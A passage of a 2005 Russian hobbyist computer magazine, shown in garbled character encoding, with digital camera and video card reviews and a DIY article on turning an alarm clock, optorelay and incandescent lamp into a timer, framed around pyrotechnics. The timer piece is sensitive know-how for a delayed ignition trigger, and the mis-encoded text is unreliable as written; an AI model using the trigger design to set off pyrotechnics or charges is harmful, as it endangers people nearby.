íå ìåíüøå ôîòîàïïàðàòà. Óï-
ðàâëåíèå ðàäóåò ïðîäóìàí-
íîñòüþ, íî íåìíîãî îãîð÷àåò
îòñóòñòâèå ïîääåðæêè ðóñ-
ñêîãî ÿçûêà â ìåíþ.
Îñîáåííîñòü êàìåðû - ìàòðè-
öà ñ ÷óâñòâèòåëüíîñòüþ â
1600 åäèíèö ISO, ÷òî íå õàðàê-
òåðíî äëÿ àïïàðàòîâ òàêîãî
êëàññà. Ïðåäóñòàíîâëåííûõ

ñþæåòíûõ ïðîãðàìì íåìíîãî:
äíåâíîé ñâåò, ïîðòðåò, ïåé-
çàæ, ñïîðò è íî÷íàÿ ñúåìêà.
Ïðè÷åì ïîñëåäíÿÿ çàäèðàåò
÷óâñòâèòåëüíîñòü ìàòðèöû
äî ïðåäåëà, è ëó÷øå ïîëüçî-
âàòüñÿ ðó÷íûìè íàñòðîéêàìè
ïðè ñúåìêå â òåìíîå âðåìÿ
ñóòîê. Ê ñîæàëåíèþ, êàìåðà
íå ïîçâîëÿåò âûñòàâëÿòü æå-
ëàåìûå çíà÷åíèÿ äèàôðàãìû
è ðó÷íîé ôîêóñèðîâêè. Íà îò-
êóï õîçÿèíó äàíà âîçìîæ-
íîñòü âûñòàâëÿòü âûäåðæêó
ïðè ñúåìêå ñî øòàòèâà. Ê
ïëþñàì ìîæíî îòíåñòè õîðî-
øî ðàáîòàþùóþ ôóíêöèþ
êîððåêöèè "êðàñíûõ ãëàç" -
ïîæàëóé, ýòî åäèíñòâåííàÿ
êàìåðà â îáçîðå, êîòîðàÿ
ñïðàâèëàñü ñ äàííîé çàäà÷åé.

FUJIFILM FINEPIX F10

»

Pentax optio S5n î÷åíü
íàïîìèíàåò ñâîèõ ïðåä-

øåñòâåííèêîâ èç ëèíåéêè
Optio. Òîò æå äèçàéí, òå æå ëè-
íèè, òîò æå íàäåæíûé àëþìè-
íèåâûé êîðïóñ. Íå ñèëüíî âû-
äàþùèåñÿ èç êîðïóñà êíîïêè
ëåãêî íàæèìàþòñÿ, íî ãàðàíòè-
ðóþò îòñóòñòâèå ñëó÷àéíûõ
êëèêîâ. Çàùèùåííûé äâóõ-
äþéìîâûé ÆÊ-äèñïëåé äîñòà-
òî÷íî èíôîðìàòèâåí.
Âñòðîåííûé Li-Ion-àêêóìóëÿ-
òîð íå îòëè÷àåòñÿ áîëüøîé
âûíîñëèâîñòüþ, íî ðàäóåò ìà-
ëûì âðåìåíåì, êîòîðîå òðåáó-
åòñÿ äëÿ åãî çàðÿäà. Àêêóìóëÿ-
òîð ìîæíî çàðÿæàòü êàê îò-
äåëüíî îò ôîòîàïïàðàòà, òàê è

íå âûòàñêèâàÿ åãî, òî åñòü ïðè
ïîìîùè äîê-ñòàíöèè. Êñòàòè,
ïðåäîñòàâëÿåìàÿ â êîìïëåêòå
äîê-ñòàíöèÿ èìååò êîíòàêò äëÿ
äîïîëíèòåëüíîãî àêêóìóëÿòî-
ðà, ÷òî ÿâíî ïîíðàâèòñÿ ëþáè-
òåëÿì ñíèìàòü ìíîãî è ÷àñòî. Â
òåìíîòå àâòîôîêóñó ïîìîãàåò
ëàìïà ïîäñâåòêè, à âñïûøêà
ðàáîòàåò î÷åíü õîðîøî, íå ïå-

ðåñâå÷èâàÿ îáúåêòû. Ê ïëþ-
ñàì ìîæíî îòíåñòè è òî, ÷òî ýòà
êàìåðà ÿâëÿåòñÿ îäíîé èç ñà-
ìûõ ëåãêèõ, äàæå ñ àêêóìóëÿ-
òîðîì è flash-êàðòîé.
Ëîæêó äåãòÿ âëèë ìåðêíóùèé
ýêðàí è "íåäîëãîâå÷íûé" àêêó-
ìóëÿòîð. Íó à î êà÷åñòâå èçãî-
òîâëåíèÿ ýëåêòðîíèêè è îïòè-
êè ìîæíî ñóäèòü óæå ïî òîìó,
÷òî êàìåðà îò êîìïàíèè
Pentax.

PENTAX OPTIO S5N

»

Òåõíè÷åñêèå õàðàêòåðèñòèêè:

Ðàçìåðû ìàòðèöû: 5,1 Ìï,
2592õ1944
Îáúåêòèâ: 3õ îïòè÷åñêèé + 4õ
öèôðîâîé çóì

Íîñèòåëü: êàðòû SD; 13,5 Ìá
âñòðîåííîé ïàìÿòè
ÆÊ: 2.0"
Ôîðìàò: JPEG; âèäåî:
640x480, äî 30 êàäð/ñ

Öåíà: $350

Òåõíè÷åñêèå õàðàêòåðèñòèêè:

Ðàçìåðû ìàòðèöû: 6,3 Ìï,
2848x2136
Îáúåêòèâ: 3õ îïòè÷åñêèé + 6õ
öèôðîâîé çóì

Íîñèòåëü: êàðòû xD; 16 Ìá â
êîìïëåêòå
ÆÊ: 2.5"
Ôîðìàò: JPEG; âèäåî: AVI
(640x480 èëè 320õ240, 
30 êàäð/ñ)

Öåíà: $380

Òåõíè÷åñêèå õàðàêòåðèñòèêè:

Ðàçìåðû ìàòðèöû: 5,0 Ìï,
2560õ1920
Îáúåêòèâ: 3õ îïòè÷åñêèé + 6õ
öèôðîâîé çóì

Íîñèòåëü: êàðòû SD
ÆÊ: 2.0"
Ôîðìàò: JPEG; âèäåî: MPEG4

Öåíà: $345
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ÕÀÊÅÐÑÏÅÖ 09(58) 2005

ÂÛÂÎÄ
Ðûíîê öèôðîâûõ ôîòî-
êàìåð ïðàêòè÷åñêè áåç-
äîííûé. Íà ñìåíó êðóï-
íûì è äîðîãèì ìîíñòðàì
ïðèõîäÿò êîìïàêòíûå
êàðìàííûå ôîòîàïïàðà-
òû, èìåþùèå õàðàêòåðèñ-

òèêè, êîòîðûå ïîâûøàþò-
ñÿ â íåñêîëüêî ðàç âñåãî
çà íåñêîëüêèõ ëåò. Ñïðîñ
íà òàêèå êàìåðû ïîâûøà-
åòñÿ, è êîìïàíèè-ïðîèç-
âîäèòåëè ñ ðàäîñòüþ çà-
ïîëíÿþò ðûíîê. Ñåãîäíÿ
"âûáîðîì ðåäàêöèè" ìû

íàãðàæäàåì êàìåðó SAM-
SUNG Digimax V700 - õî-
ðîøèé äèçàéí, íàñûùåí-
íîñòü ôóíêöèÿìè è îò-
ëè÷íàÿ ðàáîòà àâòîìàòè-
êè. Ïðèç "Ëó÷øàÿ ïîêóï-
êà" ïðèñóæäàåòñÿ êàìåðå
Nikon Coolpix 5900. Ñî-

âåðøåíñòâîâàíèå ýëåêò-
ðîíèêè è ïîñòîÿíñòâî
âíåøíîñòè êàìåð íàéäóò
îòêëèê â ñåðäöàõ ïîêóïà-
òåëåé. Êà÷åñòâî ñíèìêîâ
íåóêëîííî ïîâûøàåòñÿ -
âñå áëàãîäàðÿ òåõíè÷åñ-
êîìó ïðîãðåññó.

Âñåïîãîäíûé ôîòî-
àïïàðàò îò Olympus

ïðåäíàçíà÷åí äëÿ åæåä-
íåâíîãî ïîëüçîâàíèÿ. Ñî-
îòâåòñòâåííî, îí äîëæåí
áûòü çàùèùåí îò ñòèõèè,
÷òî è ðåàëèçóåòñÿ íà áàçå
êðåïêîãî, íàäåæíîãî ìå-
òàëëè÷åñêîãî êîðïóñà, äè-
çàéí êîòîðîãî èñïîëíåí à-
ëÿ ïëåíî÷íûå "ìûëü-
íèöû".
Óïðàâëåíèå ðåàëèçîâàíî
äîñòàòî÷íî ãðàìîòíî, íî
íåìíîãî ñìóùàåò îòñóò-
ñòâèå ðóññêîãî ÿçûêà â
íàñòðîéêàõ ìåíþ. Òàê êàê
ôîòîàïïàðàò ïðåäíàçíà-
÷åí äëÿ ÷àñòîãî èñïîëüçî-
âàíèÿ ïî ïðèíöèïó "äîñòàë
èç êàðìàíà, íàæàë íà
ñïóñê", êàìåðà îñíàùåíà
öåëûì àðñåíàëîì ïðåäóñ-
òàíîâëåííûõ íàñòðîåê - èõ
àæ 20 øòóê. Ñðåäè ïðîã-
ðàìì ïðèñóòñòâóåò äàæå
òàêàÿ ýêçîòèêà, êàê ïîäâîä-

íàÿ ìàêðîñúåìêà è ñúåìêà
ïîðòðåòà ïðè ñâå÷àõ. Îòñóò-
ñòâèå ðó÷íûõ íàñòðîåê íå
î÷åíü îãîð÷àåò: íàì íà îò-
êóï äàíà âîçìîæíîñòü óñ-
òàíàâëèâàòü ýêñïîêîððåê-
öèþ è áàëàíñ áåëîãî. Ðàáî-
òó îïòèêè è ìàòðèöû ìîæíî
ñ÷èòàòü óäà÷íîé, åñëè íåì-
íîãî óìåíüøèòü ÷óâñòâè-
òåëüíîñòü ñ 400 åäèíèö
ISO, êîòîðûå âûñòàâëÿåò
àâòîìàòèêà. Ïðèÿòíî óäè-
âèëà ðàáîòà âñïûøêè: îíà
ðàâíîìåðíî îñâåùàåò îáú-

åêòû äàæå ïðè ìàêðîñúåì-
êå. Êñòàòè, ôîòîàïïàðàò
îáëàäàåò ôóíêöèåé Super

Macro, êîòîðàÿ ïîçâîëÿåò
ñíèìàòü îáúåêòû óæå ñ ñå-
ìè ñàíòèìåòðîâ.

OLYMPUS [MJU:] DIGITAL 500

Äèçàéí SAMSUNG
Digimax V700 ñòîèò

îõàðàêòåðèçîâàòü êàê íåî-
æèäàííûé è âûðàçèòåëü-
íûé. Îò êîìïàêòíîãî ôîòî-
àïïàðàòà ïðèíÿòî òðåáî-
âàòü ñêîðîñòè, ëåãêîñòè è
ïîáîëüøå ìåãàïèêñåëîâ,
íî íèêàê íå èçûñêîâ. Ýòà
êàìåðà ïðåêðàñíà íå òîëü-
êî ñâîèì äèçàéíîì, íî è
âîçìîæíîñòüþ âûáðàòü
îäíî èç òðåõ öâåòîâûõ ðå-
øåíèé äëÿ êîðïóñà: ñ ñèíè-
ìè, êðàñíûìè èëè ñåðåá-
ðèñòûìè ïàíåëüêàìè. Îá-
òåêàåìûé êîðïóñ îêàçàëñÿ
íå òîëüêî êðàñèâûì, íî è
óäîáíûì: êàìåðà íàäåæíî
ôèêñèðóåòñÿ â ðóêàõ áëà-
ãîäàðÿ óäà÷íîìó ïîêðû-
òèþ è íåáîëüøîìó âûñòó-
ïó ñ ðåëüåôíûìè òî÷êàìè.
Ýëåìåíòû óïðàâëåíèÿ ðàñ-
ïîëîæåíû òàêèì îáðàçîì,

÷òî âîçíèêàåò íåîáõîäè-
ìîñòü ðàáîòàòü ñ êàìåðîé
äâóìÿ ðóêàìè. Íî ïî ïðî-
øåñòâèè âðåìåíè, ðàçîá-
ðàâøèñü ñ íàñòðîéêàìè, òû
äîâåðèøü áîëüøèíñòâî
óñòàíîâîê àâòîìàòèêå èëè
ïðåäóñòàíîâëåííûì çíà-
÷åíèÿì. Âñå ìåíþ ïåðåâå-
äåíî íà ðóññêèé ÿçûê, ÷òî
çíà÷èòåëüíî îáëåã÷èò çíà-
êîìñòâî ñ ôîòîàïïàðàòîì.
Àâòîìàòèêà çàñëóæèâàåò
âñÿ÷åñêîé ïîõâàëû, íàçâà-

íèÿ ðåæèìîâ ñîîòâåòñòâó-
þò ðåàëüíûì óñëîâèÿì,
÷òî ñëåäóåò ïîíèìàòü êàê:
ðåæèì "Íî÷ü"- îïòèìàëü-
íûå çíà÷åíèÿ âûäåðæêè è
äèàôðàãìû. Â ðåçóëüòàòå
ðàáîòà ñâîäèòñÿ ê âûáîðó
íåîáõîäèìîãî ðåæèìà è
íàâåäåíèþ íà îáúåêò. Òàê-
æå àâòîìàòèêà ïðåäóïðå-
äèò î âîçìîæíîì óõóäøå-
íèè ñíèìêà, åñëè ïðèñóò-
ñòâóþò âèáðàöèè. Êà÷åñò-
âåííàÿ îïòèêà è 7-ìåãàïèê-
ñåëíàÿ ìàòðèöà ñòðåìÿòñÿ
ê îòëè÷íîìó êà÷åñòâó
ñíèìêîâ. Íåñêîëüêî îãîð-
÷èë àâòîôîêóñ, êîòîðûé
êàê-òî íåóâåðåííî è íå
âñåãäà òî÷íî âûñòàâëÿë
íåîáõîäèìîå çíà÷åíèå
ðåçêîñòè.

SAMSUNG DIGIMAX V700

»

»

Òåõíè÷åñêèå õàðàêòåðèñòèêè:

Ðàçìåðû ìàòðèöû: 5,0 Ìï,
2560õ1920
Îáúåêòèâ: 3õ îïòè÷åñêèé + 4õ
öèôðîâîé çóì

Íîñèòåëü: êàðòû xD; 32 Ìá â
êîìïëåêòå
ÆÊ: 2.5"
Ôîðìàò: JPEG; âèäåî:
QuickTime (320x240 èëè
160õ120, 15 êàäð/ñ); çâóê: WAV
(ìîíî)

Öåíà: $310

Òåõíè÷åñêèå õàðàêòåðèñòèêè:

Ðàçìåðû ìàòðèöû: 7,1 Ìï,
3072õ2304
Îáúåêòèâ: 3õ îïòè÷åñêèé + 10õ
öèôðîâîé çóì

Íîñèòåëü: êàðòû SD, MMC

ÆÊ: 2.0"
Ôîðìàò: JPEG, TIFF; âèäåî: AVI
(MPEG-4), (640õ480, 
30 êàäð/ñ); çâóê: WAVE

Öåíà: $380
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×òî ìîæåò áûòü ëó÷-
øå, ÷åì äåëàòü ïîäàð-
êè ñåáå? Íàâåðíîå,
òîëüêî ïîëó÷àòü
èõ îò äðóãèõ,
íî åñëè ó òå-

áÿ íå ïðåäâèäèòñÿ íèêàêîãî
ïðàçäíèêà, òî ïðèäåòñÿ ïî-
çàáîòèòüñÿ î ïîäàðêå ñàìîñ-
òîÿòåëüíî. Åñòåñòâåííî, ýòî
áóäåò êîìïüþòåðíàÿ æåëåç-
êà, à íå ïëþøåâûé çàé÷èê
èëè ìèøêà. Ïðè÷åì æåëåçêà íå
ïðîñòàÿ, à î÷åíü êðóòàÿ - íîâåéøàÿ
âèäåîïëàòà îò êîìïàíèè MSI, ïîñòðî-
åííàÿ íà ñàìîì ñîâåðøåííîì ÷èïñåòå
îò êîìïàíèè nVidia. Èòàê, âñòðå÷àåì
MSI NX 7800GTX!

Åñëè òû áóäåøü ïîêóïàòü ýòó ïëàòó
â êîðîáî÷íîì, à íå OEM-âàðèàíòå (ïî-
÷åìó íóæíî äåëàòü èìåííî òàê, ÿ ïî-
ÿñíþ íèæå), òî ñðàçó ïî÷óâñòâóåøü
çàáîòó ïðîèçâîäèòåëÿ î òåáå ëþáè-
ìîì: ïëàòà óïàêîâàíà â óäîáíóþ êîì-
ïàêòíóþ êîðîáêó ñ ðó÷êîé äëÿ ïåðå-
íîñêè. Âíóòðè, ïîìèìî ïëàòû, òû íàé-
äåøü èãðó Chronicles of Riddick: Escape
from Butcher Bay (íà ïÿòè äèñêàõ), à
òàêæå íàáîð ïîëåçíûõ óòèëèò îò MSI.
Òàì åñòü ñîôò äëÿ àâòîìàòè÷åñêîãî
îáíîâëåíèÿ äðàéâåðîâ è BIOS'à ïëà-
òû, åå áåçîïàñíîãî ðàçãîíà, ïðîãðàì-
ìû äëÿ çàùèòû ôàéëîâ è åùå ìíîãî
âñåãî èíòåðåñíîãî. Òàêæå â êîìïëåêò
ëþáåçíî ïîäëîæåíû âñÿêèå íóæíûå
êàáåëè è êîííåêòîðû.

Êðîìå êàê ïîñðåäñòâîì ðàçãîíà,
ïðîèçâîäèòåëüíîñòü ñèñòåìû, â êîòî-
ðîé áóäåò óñòàíîâëåíà ýòà ïëàòà,
ìîæíî ïîâûñèòü ïðåäîñòàâèâ åé äðó-
ãà, òî åñòü ïðèêóïèâ àíàëîãè÷íîå óñò-
ðîéñòâî è âêëþ÷èâ ðåæèì SLI, êîòî-
ðûé ïîääåðæèâàåò ýòà ïëàòà. Ïðîèç-
âîäèòåëüíîñòü ïîäíèìåòñÿ íà íåäîñÿ-
ãàåìóþ âûñîòó, íî è öåíà òàêîãî ðå-
øåíèÿ áóäåò âèòàòü â ðàéîíå îáëà-
êîâ. Âïðî÷åì, åñëè ñèñòåìíàÿ ïëàòà
ïîääåðæèâàåò ðåæèì SLI, ê ýòîìó ðå-
øåíèþ ìîæíî áóäåò ïðèáåãíóòü âïîñ-
ëåäñòâèè, êîãäà ñêîðîñòè îäíîé ïëàòû
áóäåò óæå íå õâàòàòü, à ñàìè óñòðîé-
ñòâà ïîäåøåâåþò.

Ìîìåíò, êîãäà ïðîèçâîäèòåëüíîñòè
ýòîãî óñòðîéñòâà ñòàíåò íåäîñòàòî÷íî,

íàñòóïèò
ÿâíî íå ñêîðî, è
÷òîáû óáåäèòüñÿ â
ýòîì, äîñòàòî÷íî âçãëÿíóòü
íà ðåçóëüòàòû íàøèõ òåñòîâ. Äà,
ïðè âêëþ÷åíèè àíòèàëèýéñèíãà è àíè-
çîòðîïèè êîëè÷åñòâî fps óìåíüøàåò-
ñÿ, íî èõ îñòàåòñÿ âïîëíå äîñòàòî÷íî
äëÿ íîðìàëüíîé èãðû. Òàê ÷òî ñìåëî
çàïóñêàé ñâîé ëþáèìûé øóòåð è âû-
ñòàâëÿé â íåì ìàêñèìàëüíûå ãðàôè-
÷åñêèå íàñòðîéêè.

Òàêèå âûäàþùèåñÿ ïàðàìåòðû ïðî-
èçâîäèòåëüíîñòè ýòîé ïëàòû îáåñïå-
÷èâàþòñÿ åå íà÷èíêîé - ãðàôè÷åñêèì

ïðî-
öåññî-

ðîì íà
ÿäðå

NV47, â êî-
òîðîì ñîäåð-

æèòñÿ 24 ïèêñåë-
íûõ êîíâåéåðà,

256 Ìá áûñòðîé ãðà-
ôè÷åñêîé ïàìÿòè

GDDR3, øèíà äàííûõ øèðèíîé 256
áèò è âûñîêèå ÷àñòîòû ðàáîòû ÿäðà
(430 ÌÃö) è ïàìÿòè (1200 ÌÃö). Ïî
ýòèì ïàðàìåòðàì, êàê è ïî êîíñòðóê-
öèè ñèñòåìû îõëàæäåíèÿ, ïëàòà íè-
÷åì íå îòëè÷àåòñÿ îò ðåôåðåíñíîãî
óñòðîéñòâà.

Äëÿ ñîåäèíåíèÿ ñ ÏÊ åñòü äâà ïîðòà
DVI, ãíåçäà VIVO è TV-Out. Íå ñòîèò
çàáûâàòü, ÷òî äëÿ ðàáîòû ïëàòå òðå-
áóåòñÿ äîïîëíèòåëüíîå ïèòàíèå (îäèí
êîííåêòîð), à ñëåäîâàòåëüíî, ìîùíûé
è êà÷åñòâåííûé ÁÏ. Äà è êîðïóñ ëó÷-
øå îñâîáîäèòü îò âñåãî ëèøíåãî, òàê
êàê ãàáàðèòû ó ïëàòû íåìàëåíüêèå. À
÷òî òû õîòåë? Çà òàêóþ ïðîèçâîäè-
òåëüíîñòü íóæíî ïëàòèòü. È åñëè òû
ñîãëàñåí ñäåëàòü ýòî, òî îáðåòåøü
ìîùíåéøåå óñòðîéñòâî, êîòîðîå îáåñ-
ïå÷èò ïðåâîñõîäíî êà÷åñòâåííóþ è
ñêîðîñòíóþ êàðòèíêó íà ìîíèòîðå.
Òàêæå òû ïîëó÷èøü ìàññó óäîâîëü-
ñòâèÿ è òàêèì ñïîñîáîì: áåñåäà ñ
äðóçüÿìè, îïèñûâàåøü òî ôàíòàñòè-
÷åñêîå êîëè÷åñòâî fps è ïîïóãàåâ, êî-
òîðîå òåáå óäàëîñü ïîëó÷èòü, â ýòîò
ìîìåíò âûðàæåíèÿ ëèö äðóçåé ñòàíî-
âÿòñÿ òàêèìè, ÷òî òû ÷óâñòâóåøü ñåáÿ
Áîãîì. E

Â

ÒÒååõõííèè÷÷ååññêêèèåå õõààððààêêòòååððèèññòòèèêêèè::
ßäðî: nVidia NV47 (G70)
Êîëè÷åñòâî ïèêñåëíûõ êîíâåéåðîâ, øò: 24

Øèíà ïàìÿòè, áèò: 256

Îáúåì ïàìÿòè, Ìá: 256

×àñòîòà ÿäðà, ÌÃö: 430

×àñòîòà ïàìÿòè, ÌÃö: 600 (1200)

Òèï ïàìÿòè: GDDR-3

Ëàòåíòíîñòü ïàìÿòè, íñ: 1,6

Òåõïðîöåññ ÿäðà, ìêì: 0,11
VIVO: åñòü

Âûõîäû: DVI, DVI, TV-Out

ÏÎ â êîìïëåêòå: Chronicles of Riddick: Escape
from Butcher Bay

ÒÒååññòòîîââûûéé ññòòååííää::

Ìàòåðèíñêàÿ ïëàòà: Asus P5AD2-E Premium

Ïðîöåññîð: Intel Pentium 4 EE 3,73

Ïàìÿòü: 4õ512 Ìá Corsair DDR-2 3-2-2-8

Êóëåð: Zalman CNPS7700 Cu

Æåñòêèé äèñê: Western Digital WD200

Áëîê ïèòàíèÿ: 480 Âò Thermaltake

Ñåðãåé Íèêèòèí, Äìèòðèé Øàìàåâ, test_lab (test_lab@gameland.ru)
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Â ýòîé ñòàòüå ÿ ïðîâåäó ýêñêóðñ â õèìèþ è ýëåêòðîíèêó, ðàññêàæó, êàê ñäåëàòü òàéìåð, êîòîðûé ìîæíî èñïîëüçîâàòü â ðàçëè÷íûõ
ïðèêëàäíûõ è «ïðèêîëüíûõ» öåëÿõ. ß íè â êîåì ñëó÷àå íå ïðèçûâàþ èñïîëüçîâàòü ýòîò òàéìåð â êàêèõ-ëèáî ïðîòèâîçàêîííûõ

öåëÿõ: ïîâåðü ìíå, ïîäîáíûì âåùàì ìîæíî íàéòè ìíîãî ïðèìåíåíèé â õîçÿéñòâå.

ÏÀßËÜÍÈÊ
ÒÀÉÌÅÐ Ñ "ÂÎËØÅÁÍÎÉ" ËÀÌÏÎ×ÊÎÉ

Ñåòè ìíîæåñòâî ðå-
öåïòîâ ðàçëè÷íûõ ïè-
ðîòåõíè÷åñêèõ ñìå-
ñåé. ß íå ñîâåòóþ ýêñ-
ïåðèìåíòèðîâàòü ñ

"õëîïóøêîé èç õîçìàãà" èëè ïîäîá-
íûìè ðåöåïòàìè èç èíòåðíåòà: ñìå-
ñè óæàñíî íåóñòîé÷èâûå è îïàñíûå.
ß ïîíÿë ýòî äàâíûì-äàâíî, êîãäà
ïðèîáðåë îò òàêîé äðÿíè õèìè÷åñ-
êèé îæåã íà ëèöå è ïîòåðÿë ÷àñòü
ïîäóøå÷êè ïàëüöà. Ýòîò ñëó÷àé è
íàòîëêíóë ìåíÿ íà ìûñëü î ñîçäà-
íèè íàäåæíîãî òàéìåðà.

ÑÕÅÌÀ
Âñå ãåíèàëüíîå ïðîñòî. Íî ñòîèò

îáìàíûâàòü ñåáÿ - âñå íå òàê ïðîñ-
òî, êàê êàæåòñÿ íà ïåðâûé âçãëÿä.

Ñõåìà äåéñòâèòåëüíî íåñëîæíàÿ.
×òîáû íå óñëîæíÿòü íè÷üþ æèçíü,

ÿ èñïîëüçîâàë ñîâðåìåííîå îïòîðå-
ëå 293-é ñåðèè.

Ýòî ïîçâîëèëî, âî-ïåðâûõ, èñïîëü-
çîâàòü ìèíèìóì äåòàëåé, ÷òî óâåëè-
÷èëî íàäåæíîñòü è óëó÷øèëî ïîâ-
òîðÿåìîñòü ñõåìû. Âî-âòîðûõ, ñäå-
ëàëî ñõåìó áîëåå óíèâåðñàëüíîé,
òî åñòü åå ìîæíî èñïîëüçîâàòü

ïðàêòè÷åñêè ñ ëþáûì áóäèëüíèêîì.
Äëÿ òàéìåðà ïîäîéäóò îïòîðåëå èç
ñïèñêà: ÊÐ293ÊÏ1À, ÊÐ293ÊÏ2À,
ÊÐ293ÊÏ3À, ÊÐ293ÊÏ4À,
ÊÐ293ÊÏ5À è ò.ä., ÊÏ6À, ÊÏ7À,
ÊÏ8À, ÊÏ9À, ÊÏ10À. Äåëî â òîì, ÷òî
íàãðóçêîé íàøåãî òàéìåðà áóäåò
ëàìïà íàêàëèâàíèÿ. Âûõîäíîé òîê
ðåëå áóäåò ñîñòàâëÿòü îò 100 ìÀ äî

500 ìÀ â çàâèñèìîñòè îò ëàìïû. Íå
âñå ìèêðîñõåìû 293-é ñåðèè äåðæàò
òîê áîëåå 200 ìÀ, ïîýòîìó âûáèðà-
åì ìèêðîñõåìû ñ èíäåêñîì "À" â
êîíöå ìàðêèðîâêè. 

Îïòîðåëå ìîãóò áûòü äâóíàïðàâ-
ëåííûìè (ÊÐ293ÊÏ3À) è ïîëÿðíûìè
(ÊÐ293ÊÏ2À). Îòëè÷èå â òîì, ÷òî â
ïåðâîì ñëó÷àå ïîëÿðíîñòü ïîäêëþ-
÷åíèÿ íàãðóçêè íå èìååò çíà÷åíèÿ,
à âî âòîðîì ñëó÷àå íåîáõîäèìî ñîá-
ëþäàòü ïîëÿðíîñòü. Íàïðèìåð, åñëè
âìåñòî ÊÐ293ÊÏ3À ñîáèðàåøüñÿ
èñïîëüçîâàòü ÊÐ293ÊÏ2À, òî øåñ-
òîé êîíòàêò áóäåò âìåñòî âîñüìîãî

Â

ÏÀßËÜÍÈÊ112

Ýòî óæå ïîñëå ìèêðîïëàñòè÷åñêîé îïåðàöèè

Áåðåãèòå ïàëüöû, ïàöàíû! Îíè âàì åùå ïðèãîäÿòñÿ
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ÕÀÊÅÐÑÏÅÖ   09(58)   2005

HARD

Lundes (lunde@mail.ru)

Áóäèëüíèê
Ìèêðîñõåìà ÊÐ293ÊÏ3À
Òóìáëåð ëþáîé, ìàëîãàáà-

ðèòíûé
Ñâåòîäèîä
Ðåçèñòîð 2 êÎì
Áàòàðåÿ 9 Â
Ëàìïà íàêàëèâàíèÿ 7-18 Â
Ìîíòàæíûé ïðîâîä, 

íàïðèìåð ÌÃÄÔ
Èçîëåíòà

ÍÅÎÁÕÎÄÈÌÛÅ
ÊÎÌÏÎÍÅÍÒÛ



è ïÿòàÿ íîãà ìèêðîñõåìû âìåñòî
ñåäüìîé.

Â ðîëè òàéìåðà áóäåò âûñòóïàòü
ëþáîé ýëåêòðîííûé áóäèëüíèê, íàï-

ðèìåð ñîâåòñêîãî èëè êèòàéñêîãî
ïðîèçâîäñòâà, ìîäèôèöèðîâàííûé
ïîä íàøè öåëè. Åñëè ðàçîáðàòüñÿ â
ñõåìîòåõíèêå òàêèõ äåâàéñîâ, òî ó

âñåõ íèõ âûõîäíàÿ öåïü çâóêîâîãî
èçëó÷àòåëÿ ïðåäñòàâëÿåò ñîáîé
òðàíçèñòîð, íàãðóæåííûé ïüåçîèç-
ëó÷àòåëåì èëè ìèêðîäèíàìèêîì.

Ýòó îñîáåííîñòü ïîñòðîåíèÿ ìû è
áóäåì èñïîëüçîâàòü.

Ïåðâûì äåëîì íåîáõîäèìî óäà-
ëèòü èçëó÷àòåëü. Àêêóðàòíåíüêî
âûïàèâàåì åãî. Ñ ïîìîùüþ ìóëüòè-
ìåòðà â ðåæèìå ïðîçâîíêè íàõîäèì
êîíòàêò, êîòîðûì îí áûë ïîäêëþ÷åí
ê ïëþñó áàòàðåé ïèòàíèÿ. 

Ê ýòîìó êîíòàêòó ïîäêëþ÷àåì âû-
âîä 2 ìèêðîñõåìû, ê äðóãîìó êîí-
òàêòó ïîäöåïëÿåì âûâîä 1 ìèêðîñõå-
ìû. Òåïåðü, êàê òîëüêî íàñòóïèò
âðåìÿ Õ, íà èçëó÷àþùèé äèîä îïòî-
ðåëå íà÷íóò ïîñòóïàòü èìïóëüñû,
êîòîðûå áóäóò óïðàâëÿòü âûõîäíîé
öåïüþ ðåëå. Ëàìïà íà÷íåò ìèãàòü. Â
ïðèíöèïå, ëàìïà ìîæåò áûòü íà ëþ-
áîå íàïðÿæåíèå, íî òàê êàê íà ñõå-
ìå áàòàðåÿ 9 âîëüò, òî è ëàìïî÷êó
âûáèðàé íà íàïðÿæåíèå, áîëüøåå
äåâÿòè âîëüò èëè ðàâíîå èì.

Òóìáëåð íåîáõîäèì äëÿ òîãî, ÷òî-
áû îáåçîïàñèòü ñåáÿ âî âðåìÿ
âçâîäà òàéìåðà. Ìíîãèå áóäèëüíèêè
îáëàäàþò ñïîñîáíîñòüþ ïèùàòü â
ñàìûé íåïîäõîäÿùèé ìîìåíò: ïðè
íàæàòèÿõ êíîïîê, íàïðèìåð.

×òîáû áûëî ïîíÿòíî, â êàêîì ïî-
ëîæåíèè íàõîäèòñÿ òóìáëåð, è ëèø-
íèé ðàç îáåçîïàñèòü âåñü ïðîöåññ
âçâîäà òàéìåðà, ââåäåíà öåïî÷êà
èç ðåçèñòîðà R ñîïðîòèâëåíèåì 
2 êÎì è ñâåòîäèîäà VD. Ïðè ñâåòÿ-
ùåìñÿ îãîíüêå öåïü çàìêíóòà è ãî-
òîâà ê ðàáîòå. Îò âèíòà!

Ñîâåòóþ ñîáèðàòü âñå "íà âåñó"
îòðåçêàìè ìîíòàæíîãî ïðîâîäà, èñ-
ïîëüçóÿ òåðìîóñàäî÷íóþ òðóáêó, è
íå æàëåòü èçîëåíòû. Íåîáõîäèìî
çàèçîëèðîâàòü êàæäûé êîíòàêò: åñ-
ëè ñëó÷àéíî çàìêíåøü, òî ó íàøåãî
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Ñõåìà

Âíóòðåííÿÿ ñòðóêòóðà îïòîðåëå
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Â ïðîäàæå èìååòñÿ ìíîæåñòâî ïèðîòåõíè÷åñêèõ èçäåëèé. Ðàçáè-
ðàòü è ìîäèôèöèðîâàòü èõ ìîæåò áûòü êðàéíå îïàñíî. Íè îäèí ïðî-
èçâîäèòåëü íå ðåêîìåíäóåò èñïîëüçîâàòü ïîâðåæäåííûå èëè ïåðå-
äåëàííûå ïåòàðäû, äûìîâûå øàøêè è áåíãàëüñêèå îãíè.

ÎÏÀÑÍÎ

Âíóòðåííîñòè êèòàéñêîãî áóäèëüíèêà. Ïüåçîèçëó÷àòåëè

Ïðîèçâîäèòåëè ïèðîòåõíèêè ðåêîìåíäóþò íàáëþäàòü çà ôåéåð-
âåðêîì ñ áåçîïàñíîãî ðàññòîÿíèÿ. Â ýòîì ìîæåò ïîìî÷ü òàéìåð èëè
äëèííûé ôèòèëü.

ÁÅÇÎÏÀÑÍÎ

Òóìáëåð íåîáõîäèì äëÿ òîãî, 
÷òîáû îáåçîïàñèòü ñåáÿ âî âðåìÿ 

âçâîäà òàéìåðà.
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HARD

æóðíàëà ìîæåò ñòàòü íà îäíîãî ÷è-
òàòåëÿ ìåíüøå.

Åñëè áóäåò íåîáõîäèìî ïðîèçâåñ-
òè èñïûòàíèÿ òàéìåðà, ðåêîìåíäóþ
ïðèîáðåñòè äåðæàòåëü äëÿ ëàìïî-
